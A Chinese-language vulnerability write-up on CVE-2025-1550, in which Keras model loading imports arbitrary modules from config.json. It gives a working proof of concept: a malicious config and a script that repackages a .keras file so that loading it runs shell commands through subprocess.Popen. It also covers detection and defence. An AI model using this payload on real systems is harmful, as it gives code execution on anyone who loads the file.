Keras 加载 .keras 时按 config 动态导入任意模块的类/函数:伪造 config.json 调用 subprocess.Popen 实现 RCE(CVE-2025-1550)
ai-security/supply-chain · verified
一句话结论
Keras 在解析 .keras 包内 config.json 时,deserialize_keras_object 会用 config 里的 module 与 class_name 去 importlib.import_module() 并取属性,且当 class_name == "function" 时直接返回该函数对象;把 module 写成 subprocess、class_name 写成 function、内层 config 写成 Popen,再通过 Model.from_config → functional_from_config → process_node 把完全可控的 args/kwargs 调用上去,加载模型文件即执行任意命令。
原理
调用链(keras.models.load_model):
load_model → saving_lib.load_model → _load_model_from_fileobj
→ _model_from_config → deserialize_keras_object
→ _retrieve_class_or_fn(name, registered_name, module, ...)
_retrieve_class_or_fn 的核心逻辑是:
package = module.split(".")[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}: # 修复后新增的白名单
mod = importlib.import_module(module)
obj = vars(mod).get(name, None)
修复前的版本没有这个包名前缀白名单,任何可导入模块都会被导入,并把其中的属性取出来返回。这本身只是“任意属性读取”,要变成 RCE 还差一次“以可控参数调用”。Keras 正好提供了三处自动调用:
cls.from_config(inner_config)(class_name为类时);layer(*args, **kwargs)(图重建时调用层对象);get(...)一类固定方法。
利用走第 1、2 条的组合:
- 第一层:
class_name = "Model"、module = "keras.models"。Model.from_config判断 config 里同时含layers/input_layers/output_layers后转给functional_from_config(cls, config, custom_objects)。 - 第二层:
functional_from_config先functional_config[key] = config.pop(key)取出layers,逐个process_layer(layer_data);process_layer对每个 layer dict 调用serialization_lib.deserialize_keras_object(layer_data, ...)。 - 第三层:该 layer dict 里
class_name = "function",deserialize_keras_object进入专门分支:
if class_name == "function":
fn_name = inner_config
return _retrieve_class_or_fn(fn_name, registered_name, module, obj_type="function", ...)
此时 inner_config 就是 config 字段("Popen"),module 是 "subprocess",于是返回未绑定的 subprocess.Popen 函数对象。函数对象没有 from_config,但 deserialize_keras_object 对 types.FunctionType 直接 return cls,绕过 from_config 检查。
- 第四层:
functional_from_config把该 layer 登记进created_layers,随后process_node(layer, node_data)解析inbound_nodes得到args, kwargs = deserialize_node(...),最后执行layer(*args, **kwargs)——即subprocess.Popen(["calc"], bufsize=-1)。
因此漏洞成立的三个必要条件:任意模块导入(无白名单)、function 类型直通返回(绕过 from_config)、图重建时对返回对象做无条件调用(把“取到危险函数”变成“执行危险函数”)。
触发条件
- 目标使用受影响版本的 Keras(3.x,
safe_mode默认开启也无法阻断,因为该路径是模型结构重建的正常流程); - 应用会加载不可信来源的
.keras文件:模型市场/网盘下载、用户上传、CI 拉取第三方模型、插件自动加载目录; - 攻击者可控制包内
config.json(.keras是 zip,直接改写其中一个条目即可,不需要重新训练)。
利用步骤
- 训练或下载一个正常
.keras模型,确认结构可被目标 Keras 版本加载; - 用 zipfile 重写包:剔除原
config.json,写入恶意 config(结构见 PoC); - 把文件交给受害者加载(
keras.models.load_model("model.keras")、keras.saving.load_model、Web 端“上传模型”功能); - 触发时第一层
Model.from_config进入 functional 分支,第三层function返回subprocess.Popen,process_node调用它启动命令; - 若报缺少字段,按报错补齐
input_layers/output_layers/inbound_nodes中的args/kwargs结构即可(原文提示:缺字段手动添加)。
PoC
最小 config(keras.utils.deserialize_keras_object(config) 即可验证,无需真实模型):
import keras
config = {
"config": {
"module": "keras.models",
"class_name": "Model",
"config": {
"name": "le0n",
"layers": [
{
"name": "le0n",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [
{"args": [["calc"]], "kwargs": {"bufsize": -1}}
]
}
],
"input_layers": [["le0n", 0, 0]],
"output_layers": [["le0n", 0, 0]]
}
}
}
keras.utils.deserialize_keras_object(config)
生成恶意 .keras 文件(替换 zip 内的 config.json):
import os, json, zipfile
import numpy as np
from keras.models import Sequential
from keras.layers import Dense
model = Sequential([Dense(1, activation="linear", input_dim=28 * 28)])
model.compile(optimizer="adam", loss="mse")
model.fit(np.random.rand(100, 784), np.random.rand(100), epochs=1)
model.save("model.keras")
malicious_config = {...} # 同上
with zipfile.ZipFile("model.keras") as zin, zipfile.ZipFile("tmp.keras", "w") as zout:
for item in zin.infolist():
if item.filename != "config.json":
zout.writestr(item, zin.read(item.filename))
os.remove("model.keras"); os.rename("tmp.keras", "model.keras")
with zipfile.ZipFile("model.keras", "a") as z:
z.writestr("config.json", json.dumps(malicious_config))
keras.models.load_model("model.keras") # 触发
Windows 弹计算器用 ["calc"];Linux 可换成 ["/bin/sh", "-c", "id > /tmp/p"],或把 kwargs 里的 shell 设为 True。
变体与关联
- 函数变体:
class_name: "function"可指向任意模块属性,如os.system、os.popen、builtins.eval/exec、subprocess.run/check_output,参数形式随目标函数调整; - 类变体:把
class_name改成有权重构造副作用的类(如某些 loader/wrapper),走from_config分支,同样在解析期执行副作用; - 载体变体:
.h5/SavedModel 走 legacy 分支同样会调用反序列化,但.keras的 config 完全由 JSON 决定,构造最简单; - 关联:HuggingFace pickle 模型、joblib/numpy 反序列化、torch.load、GGUF chat template SSTI 属于同类“模型文件即代码”问题;防御思路一致——不加载不可信模型,或在隔离环境加载;
- 关联:
safe_mode=True只限制 Lambda 层等少数对象,对本链无效,不能当作缓解措施。
检测与防御
- 升级 Keras 到修复版本:
_retrieve_class_or_fn增加了包名前缀白名单(仅允许keras、keras_hub、keras_cv、keras_nlp),非白名单模块直接TypeError; - 加载前校验:把
.keras当 zip 打开,检查config.json中所有module字段是否在允许列表内、class_name是否为function,命中即拒绝; - 供应链:模型文件做哈希与签名,来源白名单;CI 中禁止
load_model直接加载外部工件; - 运行隔离:模型加载与推理放到无网络、无敏感挂载的容器/沙箱中,限制可执行文件与出网;
- 检测:监控进程树中“Python/训练进程 → subprocess/sh”的异常子进程,以及模型加载时出现的
import非 Keras 包、/tmp下新增可执行文件等行为。